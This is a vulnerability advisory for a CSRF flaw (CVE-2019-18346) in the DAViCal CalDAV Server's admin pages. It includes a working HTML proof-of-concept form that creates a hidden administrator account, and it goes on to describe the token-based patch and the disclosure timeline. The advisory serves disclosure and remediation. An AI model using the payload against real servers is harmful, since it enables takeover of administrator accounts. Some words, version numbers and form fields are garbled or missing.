DAViCal CalDAV Server 1.1.8 Cross Site Request Forgery

DAViCal CalDAV Server versions 1.1.8 and below suffer from a cross site request forgery vulnerability.

MD5 | 71241e8b0dd14c1b51e8708854a79e80

Original text at:

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the release. If you use DAViCal as a
calendaring server, we recommend upgrading to version
immediately to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 – (this advisory) Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18346
CVSS score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

About DAViCal

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems

DAViCal CalDAV Server 1.1.8 and prior


The application has no protection against CSRF attacks. If an
authenticated user visits an attacker-controlled webpage (for example,
in another browser tab), the attacker can send arbitrary requests in the
name of the user to the application, including requests that result in a
state change.

For example, if an attacker includes the following HTML code on his/​her
site and an authenticated DAViCal administrator visits, a new
administrative account ​“hacker” (password also ​“hacker”) will
automatically be created in the background, giving the attacker full
access to the calendaring application:

<script>history.pushState('', '', '/')</script>
<form action="http://davical.host/admin.php?action=edit&t=principal"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="xxxxusername" value="hacker" />
<input type="hidden" name="newpass1" value="hacker" />
<input type="hidden" name="newpass2" value="hacker" />
<input type="hidden" name="fullname" value="hacker" />
<input type="hidden" name="email"
value="[email protected]" />
<input type="hidden" name="locale" value="" />
<input type="hidden" name="date_format_type" value="E" />
<input type="hidden" name="type_id" value="1" />
<input type="hidden" name="is_admin" value="off" />
<input type="hidden" name="is_admin" value="on" />
<input type="hidden" name="user_active" value="off" />
<input type="hidden" name="user_active" value="on" />
<input type="hidden"
value="0" />
<input type="hidden" name="default_privileges[read]"
value="on" />
<input type="hidden"
name="default_privileges[write-properties]" value="on" />
<input type="hidden"
name="default_privileges[write-content]" value="on" />
<input type="hidden" name="default_privileges[unlock]"
value="on" />
<input type="hidden" name="default_privileges[read-acl]"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden" name="default_privileges[bind]"
value="on" />
<input type="hidden" name="default_privileges[unbind]"
value="on" />
<input type="hidden"
name="default_privileges[write-acl]" value="on" />
<input type="hidden"
name="default_privileges[read-free-busy]" value="on" />
<input type="hidden"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden"
value="on" />
<input type="hidden" name="_editor_action[editor_1]"
value="insert" />
<input type="hidden" name="submit" value="Create" />
<input type="submit" value="Submit request" />


In a successful CSRF attack, the attacker can change the e‑mail address
and password on a victim’s account, which results in a full account
takeover. If the compromised user has a privileged (administrator) role
within the application, then the attacker is also able to add a new
administrator user.


Update to version

Technical solution details

The most robust way to defend against CSRF attacks is to include a CSRF
token within relevant requests. The idea is that you assign a unique
token to a user’s session, this token can be regenerated whenever but
this usually happens when a new session is created (e.g.when the user
logs out and logs back in). This token is then required to be sent along
with the rest of the data you want to submit. Prior to performing the
action the called route is supposed to perform(let’s say you want to
update your user information) the application will check if a CSRF token
is present and whether it’s the right one. Onab.comce those two checks
pass the application will continue executing.

So the first task was to write a library that would generate a CSRF
token and attach it to the session. That’s all pretty basic, the only
thing I had to take into account is that the current requirement for
DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in
mind. The token is generated by a random number generator (which one is
decided by the current PHP version) and then assigned to the user. Once
that was done the only thing left is to make sure every information
altering request verifies the CSRF token.

The modern way most web frameworks will handle this is by using
middleware. Let’s say you map a route to a function in your code,you can
then put a CSRF middleware in the middle of that ​‘mapping’. So let’s
say you’ve got the following mapping:

‘/​user/​information/​update’> updateUserInformation();

You’d then tell your framework to use a CSRF middleware which would
change the flow to:

‘/​user/​information/​update’> checkCSRF(); > updateUserInformation();

DAViCal however is quite an old project (the copyright states 2006 as
starting year) and we don’t have the luxury of a framework handling
these things for us. The easiest solution is to find every place a
POSTrequest is made and manually verifying the token at those places.
But I was keen to find out if there was a more central place I could put
the CSRF verifying function. As every developer will know, getting to
know and understand someone else’s code can be quite a tough one. I
found myself using xdebugquite a lot to figure out the flow of the
application until something quite obvious became apparent. There is a
PHP file in the project called ​‘always.php’ which always runs. This
file can be used to launch a function on every page load. This is where
I added a function to check the CSRF token on POST requests (which are
used in DAViCal to alter information).

The final act was adding the CSRF tokens to all the forms in DAViCal
which could be easily found by searching for </form>. Which concluded
the fix for the CSRF vulnerability in DAViCal.

Responsible Disclosure timeline

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version including our patch

Useful links

DAViCal Release Notes

DAViCal on Gitlab

This advisory

Related Posts